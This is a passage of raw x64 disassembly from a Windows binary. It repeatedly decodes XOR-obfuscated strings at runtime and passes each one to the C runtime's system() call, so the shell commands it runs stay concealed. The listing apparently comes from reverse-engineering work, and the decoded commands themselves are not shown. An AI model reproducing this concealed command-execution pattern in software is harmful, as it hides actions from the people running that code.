psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14005b530
cmp r8d, 0x2d
jge 0x14005b660
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14005b630
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x85], al
lea rdx, [rbp + 0x315e]
lea rcx, [rbp + 0x85]
call fcn.14006eba0
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14005b7e0
mov r8d, r14d
cmp r12d, 2
jl 0x14005b7a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14005b6b0
cmp r8d, 0x25
jge 0x14005b7e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14005b7b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x86], al
lea rdx, [rbp + 0x30aa]
lea rcx, [rbp + 0x86]
call fcn.14006ebd0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x14005b960
mov r8d, r14d
cmp r12d, 2
jl 0x14005b921
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14005b830
cmp r8d, 0x24
jge 0x14005b960
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14005b930
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x87], al
lea rdx, [rbp + 0x30ce]
lea rcx, [rbp + 0x87]
call fcn.14006ec00
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x14005bae0
mov r8d, r14d
cmp r12d, 2
jl 0x14005baa1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14005b9b0
cmp r8d, 0x24
jge 0x14005bae0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14005bab0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x88], al
lea rdx, [rbp + 0x30f2]
lea rcx, [rbp + 0x88]
call fcn.14006ec30
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x14005bc60
mov r8d, r14d
cmp r12d, 2
jl 0x14005bc21
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14005bb30
cmp r8d, 0x24
jge 0x14005bc60
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14005bc30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x89], al
lea rdx, [rbp + 0x3116]
lea rcx, [rbp + 0x89]
call fcn.14006ec60
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x14005bde0
mov r8d, r14d
cmp r12d, 2
jl 0x14005bda1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14005bcb0
cmp r8d, 0x24
jge 0x14005bde0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14005bdb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x8a], al
lea rdx, [rbp + 0x3f19]
lea rcx, [rbp + 0x8a]
call fcn.14006ec90
mov r10, rax
cmp byte [rax + 0x3d], 0
je 0x14005bf60
mov r8d, r14d
cmp r12d, 2
jl 0x14005bf21
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14005be30
cmp r8d, 0x3e
jge 0x14005bf60
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3e
jl 0x14005bf30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x8b], al
lea rdx, [rbp + 0x4120]
lea rcx, [rbp + 0x8b]
call fcn.14006ece0
mov r10, rax
cmp byte [rax + 0x40], 0
je 0x14005c0e0
mov r8d, r14d
cmp r12d, 2
jl 0x14005c0a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14005bfb0
cmp r8d, 0x41
jge 0x14005c0e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x14005c0b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x8c], al
lea rdx, [rbp + 0x3ea0]
lea rcx, [rbp + 0x8c]
call fcn.14006ed20
mov r10, rax
cmp byte [rax + 0x3b], 0
je 0x14005c260
mov r8d, r14d
cmp r12d, 2
jl 0x14005c221
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14005c130
cmp r8d, 0x3c
jge 0x14005c260
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x14005c230
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x8d], al
lea rdx, [rbp + 0x393c]
lea rcx, [rbp + 0x8d]
call fcn.14006ed60
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x14005c3e0
mov r8d, r14d
cmp r12d, 2
jl 0x14005c3a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14005c2b0
cmp r8d, 0x32
jge 0x14005c3e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x14005c3b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x8e], al
lea rdx, [rbp + 0x39d3]
lea rcx, [rbp + 0x8e]
call fcn.14006ed90
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x14005c560
mov r8d, r14d
cmp r12d, 2
jl 0x14005c521
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14005c430
cmp r8d, 0x34
jge 0x14005c560
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x14005c530
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x8f], al
lea rdx, [rbp + 0x3021]
lea rcx, [rbp + 0x8f]
call fcn.14006edc0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14005c6e0
mov r8d, r14d
cmp r12d, 2
jl 0x14005c6a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14005c5b0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14005c6b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x90], al
lea rdx, [rbp + 0x3c98]
lea rcx, [rbp + 0x90]
call fcn.14006edf0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x14005c860
cmp r12d, 2
jl 0x14005c81b
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x91], al
lea rdx, [rbp + 0x3183]
lea rcx, [rbp + 0x91]
call fcn.14006ee30
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x14005c9e0
movabs rsi, 0x5068589cd1fb61cb
cmp byte [0x140387193], 0
je 0x14006bf60
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7aad43541c5b54d4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5280], rax
movabs rax, 0xab8e3bf915fbca39
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5288], rax
movabs rax, 0xce0f6256591a2bf6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5290], rax
movabs rax, 0xf96878a396f02043
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5298], rax
movabs rax, 0x503458aed1c861a6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x52a0], rax
movabs rax, 0xc0dce2a48f790013
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x52a8], rax
movabs rax, 0x51936feaba041dd9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x52b0], rax
movabs rax, 0x56952af553a607ad
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x52b8], rax
movabs rax, 0x365d2fe067a2b25e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x52c0], rax
movabs rcx, 0x4c3dee150e1b8778
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x52c8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4940], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4948], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4950], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4958], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4960], rax
movabs rax, 0xc0b1e2c18f1b0064
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4968], rax
movabs rax, 0x51e46f9eba6a1d85
mov qword [rbp + 0x10], rax
